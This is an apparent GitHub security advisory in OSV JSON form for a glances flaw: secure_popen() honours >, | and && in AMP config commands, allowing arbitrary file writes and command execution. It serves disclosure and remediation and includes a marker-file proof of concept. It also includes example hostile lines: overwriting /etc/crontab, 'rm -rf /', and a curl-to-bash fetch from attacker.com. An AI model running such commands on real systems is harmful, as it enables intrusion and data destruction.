Find a vulnerability

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.8"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T17:59:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `secure_popen()` function in `glances/secure.py` interprets `\u003e` (file redirection), `|` (pipe), and `\u0026\u0026` (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command.\n\nWhen Application Monitoring Process (AMP) modules load their `command` or `service_cmd` configuration values from `glances.conf`, those values are passed directly to `secure_popen()` with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via `\u003e`), chain arbitrary commands (via `\u0026\u0026`), or pipe command output to arbitrary programs (via `|`).\n\nCrucially, this vulnerability is **not mitigated** by the `--disable-config-exec` flag that was introduced to address CVE-2026-33641. That flag only disables backtick command execution in `config.get_value()`; it does not affect the `secure_popen()` function\u0027s interpretation of shell-like operators.\n\n### Details\n\n**Affected code path 1 \u2014 Default AMP (`glances/amps/default/__init__.py:69`)**\n\n```python\nres = self.get(\u0027command\u0027)\n# ...\nself.set_result(secure_popen(res).rstrip())\n```\n\nThe `command` config value is loaded from `[amp_\u003cname\u003e]` sections via `GlancesAmp.load_config()` (`glances/amps/amp.py:81`):\n\n```python\nself.configs[param] = config.get_value(amp_section, param).split(\u0027,\u0027)\n```\n\n**Affected code path 2 \u2014 SystemV AMP (`glances/amps/systemv/__init__.py:60`)**\n\n```python\nres = secure_popen(self.get(\u0027service_cmd\u0027))\n```\n\nThe `service_cmd` config value is loaded from `[amp_systemv]` sections via the same `GlancesAmp.load_config()` method.\n\n**Sink \u2014 `secure_popen()` (`glances/secure.py:33-77`)**\n\nThe function explicitly parses:\n- `\u003e` for file redirection (line 39): `cmd.split(\u0027\u003e\u0027)` \u2014 the path after `\u003e` is used directly in `open(stdout_redirect, \"w\")` (line 71) with **no path validation**.\n- `|` for command piping (line 51): `cmd.split(\u0027|\u0027)` \u2014 each segment is executed as a separate `Popen` with stdout piped to the next.\n- `\u0026\u0026` for command chaining (line 27 in `secure_popen`): `cmd.split(\u0027\u0026\u0026\u0027)` \u2014 each segment is executed sequentially.\n\nNone of these operators are sanitized or restricted when loading AMP configuration values.\n\n**Why `--disable-config-exec` does not help:**\n\nThe `--disable-config-exec` flag (introduced for CVE-2026-33641) only prevents `system_exec()` from running backtick-embedded commands in `config.get_value()`. It does not affect how the resulting string value is processed by `secure_popen()`. A command value like `echo data \u003e /etc/crontab` contains no backticks and passes through `get_value()` unchanged, then `secure_popen()` interprets the `\u003e` operator and writes to the arbitrary path.\n\n### PoC\n\n**Clean-checkout recipe:**\n\n1. Create a test configuration file:\n\n```bash\ncat \u003e /tmp/poc-glances.conf \u003c\u003c \u0027EOF\u0027\n[amp_poc]\nenable=true\nregex=.*\nrefresh=3\ncommand=echo POC_ARBITRARY_FILE_WRITE \u003e /tmp/cve-poc-marker-amp\n\n[outputs]\ncors_origins=*\nEOF\n```\n\n2. Run a Python script that simulates the AMP command execution path:\n\n```python\nimport sys\nsys.path.insert(0, \u0027/path/to/glances\u0027)\nfrom glances.config import Config\nfrom glances.secure import secure_popen\nimport os\n\n# Load config with --disable-config-exec ACTIVE (CVE-2026-33641 mitigation)\nconfig = Config(config_dir=\u0027/tmp/poc-glances.conf\u0027, disable_config_exec=True)\n\n# Read AMP command value (same as amp.py load_config)\ncommand = config.get_value(\u0027amp_poc\u0027, \u0027command\u0027)\nprint(f\u0027Command: {command!r}\u0027)\n\n# Execute (same as amps/default/__init__.py line 69)\nmarker = \u0027/tmp/cve-poc-marker-amp\u0027\nassert not os.path.exists(marker), \u0027Clean state required\u0027\nresult = secure_popen(command)\nprint(f\u0027Result: {result!r}\u0027)\n\n# Verify arbitrary file write occurred\nassert os.path.exists(marker), \u0027VULNERABILITY NOT CONFIRMED\u0027\nwith open(marker) as f:\n    content = f.read()\nprint(f\u0027Written to {marker}: {content!r}\u0027)\nassert \u0027POC_ARBITRARY_FILE_WRITE\u0027 in content\n\n# Cleanup\nos.remove(marker)\nprint(\u0027CONFIRMED: Arbitrary file write via secure_popen \u003e in AMP command\u0027)\n```\n\n**Expected vulnerable output:**\n\n```\nCommand: \u0027echo POC_ARBITRARY_FILE_WRITE \u003e /tmp/cve-poc-marker-amp\u0027\nResult: \u0027POC_ARBITRARY_FILE_WRITE\\n\u0027\nWritten to /tmp/cve-poc-marker-amp: \u0027POC_ARBITRARY_FILE_WRITE\\n\u0027\nCONFIRMED: Arbitrary file write via secure_popen \u003e in AMP command\n```\n\n**Negative/control case (demonstrating `--disable-config-exec` only blocks backticks):**\n\n```python\n# This IS blocked by --disable-config-exec:\n# command=`rm -rf /` \u2192 get_value() skips backtick execution\n\n# This is NOT blocked by --disable-config-exec:\n# command=echo data \u003e /etc/crontab \u2192 secure_popen writes to /etc/crontab\n```\n\n**Cleanup:**\n\n```bash\nrm -f /tmp/poc-glances.conf /tmp/cve-poc-marker-amp\n```\n\n### Impact\n\nAn attacker who can modify `glances.conf` (e.g., through a separate file-write vulnerability, a misconfigured shared filesystem, a configuration management system, or a container volume mount) can:\n\n1. **Write arbitrary content to arbitrary files** via the `\u003e` operator \u2014 e.g., overwriting `/etc/crontab`, `~/.ssh/authorized_keys`, or any file writable by the Glances process user.\n\n2. **Execute arbitrary commands** via the `\u0026\u0026` and `|` operators \u2014 e.g., `echo x \u0026\u0026 curl http://attacker.com/shell.sh | bash`.\n\n3. **Exfiltrate data** via the `|` operator piping command output to network utilities.\n\nThe existing `--disable-config-exec` mitigation for CVE-2026-33641 does not protect against this vulnerability because it operates at a different layer (`config.get_value()` backtick processing vs. `secure_popen()` operator interpretation).\n\n### Suggested remediation\n\n1. **Remove file redirection support from `secure_popen()`** unless explicitly required. The `\u003e` operator in `__secure_popen()` (lines 39-45, 69-72) writes to arbitrary paths. Consider removing this feature or restricting output paths to a safe directory (e.g., a configured output directory with path traversal protection).\n\n2. **Sanitize AMP command values** before passing them to `secure_popen()`. Apply the same sanitization used in `actions.py:_sanitize_mustache_dict()` to strip `\u0026\u0026`, `|`, `\u003e\u003e`, and `\u003e` from AMP command and service_cmd config values, or refuse to execute commands containing these operators.\n\n3. **Consider replacing `secure_popen()` with `subprocess.run(shell=False)`** using explicit argument arrays. The `secure_popen()` function reimplements shell-like operator parsing (`\u0026\u0026`, `|`, `\u003e`) which is inherently risky. Standard `subprocess.run()` with `shell=False` and an explicit argument list avoids this class of vulnerability entirely.\n\n4. **Add a regression test** that verifies AMP commands cannot contain file redirection or command chaining operators.",
  "id": "GHSA-3vwc-qwhc-3mj7",
  "modified": "2026-06-23T17:59:01Z",
  "published": "2026-06-23T17:59:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-3vwc-qwhc-3mj7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances has arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration"
}